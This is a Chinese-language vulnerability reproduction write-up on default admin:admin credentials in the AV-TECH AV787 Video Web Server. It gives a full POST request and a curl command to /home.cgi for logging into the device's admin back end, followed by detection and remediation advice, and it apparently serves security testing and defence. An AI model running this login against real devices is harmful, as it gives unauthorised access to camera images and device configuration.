AV-TECH AV787 Video Web Server弱口令漏洞复现

0x00 漏洞概述

AV-TECH 是视频监控设备厂商，其 AV787 Video Web Server 是一款网络视频服务组件，通过内置 Web 服务对外提供登录管理界面，运维人员登录后台后可查看监控图像、调整设备参数。该组件的 Web 响应头中带有 Server: AV-TECH 特征，易于在网络上识别。

该漏洞的公开描述指出：AV-TECH AV787 Video Web Server 存在弱口令问题，可利用弱口令查看图像。漏洞类型为默认口令，CVSS 评分高达 9.8。按照该漏洞的影响描述，攻击者可利用 admin:admin 口令登录系统后台，顺利进入后台管理系统，进而修改系统配置，导致设备沦陷。

与需要构造特殊参数或绕过认证逻辑的漏洞不同，这类问题源于设备出厂预置了用户名与密码完全相同的默认管理员账户，且部署后未被修改。对于视频监控类设备而言，后台权限失守不仅意味着配置被篡改，还意味着监控画面本身可能被未授权查看。

0x01 影响范围

• 产品：AVTECH-AV787 Video Web Server；
• 漏洞编号：无公开 CVE/CNVD/CNNVD 编号；
• 受影响版本：暂无可核实的版本范围信息，厂商公告未检索到对应条目；
• 判定特征：Web 服务响应头包含 Server: AV-TECH。

凡是出厂默认管理员账户 admin:admin 未被修改、且登录页面可被访问到的部署，均在风险范围内。

0x02 漏洞分析

AV787 的 Web 服务提供基于表单的登录入口，登录请求提交到 /home.cgi 处理脚本，凭据以明文表单字段随 POST 请求体传输。设备出厂时预置了用户名 admin、密码 admin 的管理员账户，该组合属于安防设备中最常见的出厂凭据之一。设备未强制首次登录修改口令（推断），若部署人员在安装后沿用默认设置，该账户即成为长期有效的公开入口。

向 /home.cgi 提交默认凭据后，服务端完成认证并返回 200，响应体为登录成功后的设备配置页面，其中包含 Resolution（分辨率）等视频参数内容。响应中出现该字段即可确认两件事：其一，默认凭据通过了认证；其二，攻击者已经站到了后台管理界面的入口处，可以进一步查看图像与修改配置。漏洞描述中「弱口令可查看图像」即对应这一状态：进入后台后，监控图像查看功能随之暴露。

0x03 利用链与请求包

利用链只有一步：向登录处理脚本提交默认凭据表单，根据响应判定是否进入后台。

目标以 192.0.2.30 为示意地址，实际测试时替换为目标设备地址即可。

第一步：以默认凭据提交登录表单

POST /home.cgi HTTP/1.1
Host: 192.0.2.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: keep-alive
Upgrade-Insecure-Requests: 1

username=admin&password=admin&url=http%3A%2F%2F192.0.2.30%3A8080%2F&Submit=Submit

请求体各字段含义：

• username=admin：登录用户名，出厂默认值 admin；
• password=admin：登录密码，出厂默认值 admin；
• url=http://192.0.2.30:8080/：登录成功后的跳转地址；
• Submit=Submit：表单提交按钮。

其中 Content-Length 的数值随请求体实际长度填写。

成功判定条件

同时满足以下两点，即可判定目标仍在使用默认凭据：

1. 服务端返回 HTTP 状态码 200；

2. 响应体包含 Resolution，即登录成功后回显的设备配置页面内容。

以 curl 观察的等价操作：

curl -s -o - -w "%{http_code}\n" -L \
  -d "username=admin&password=admin&url=http%3A%2F%2F192.0.2.30%3A8080%2F&Submit=Submit" \
  http://192.0.2.30/home.cgi

若返回状态码为 200，且输出中出现包含 Resolution 的配置页面内容，则说明默认凭据有效、已成功进入后台管理系统。此时设备配置修改功能与图像查看功能均已在攻击者触达范围内。

整个过程中无需爆破，凭据组合完全来自出厂预置，单次表单提交即可完成从触达到进入后台的全过程。

0x04 检测与修复建议

检测层面：

1. 对网络中响应头包含 Server: AV-TECH 特征的 Web 服务进行清点，确认设备管理界面的暴露范围；

2. 以默认凭据 admin:admin 向 /home.cgi 提交登录表单，返回 200 且响应体包含 Resolution 即说明设备仍在使用出厂凭据；

3. 回溯登录日志，排查是否存在陌生来源使用 admin 账户成功登录的记录。

修复层面：

1. 立即修改默认管理员密码，新密码应包含大小写字母、数字和特殊字符，且长度不小于 12 位；

2. 禁止将管理界面暴露到公网，通过防火墙限制访问来源，仅允许可信管理网段访问；

3. 对登录失败与错误信息进行统一返回、模糊化处理，避免向外部暴露可用于判断账户状态的细节；

4. 对存放敏感信息的文件进行加密并妥善储存，避免泄漏敏感信息；

5. 启用操作日志记录并定期检查账户使用情况，发现异常登录后及时轮换凭据。

0x05 参考资料

暂无公开参考链接。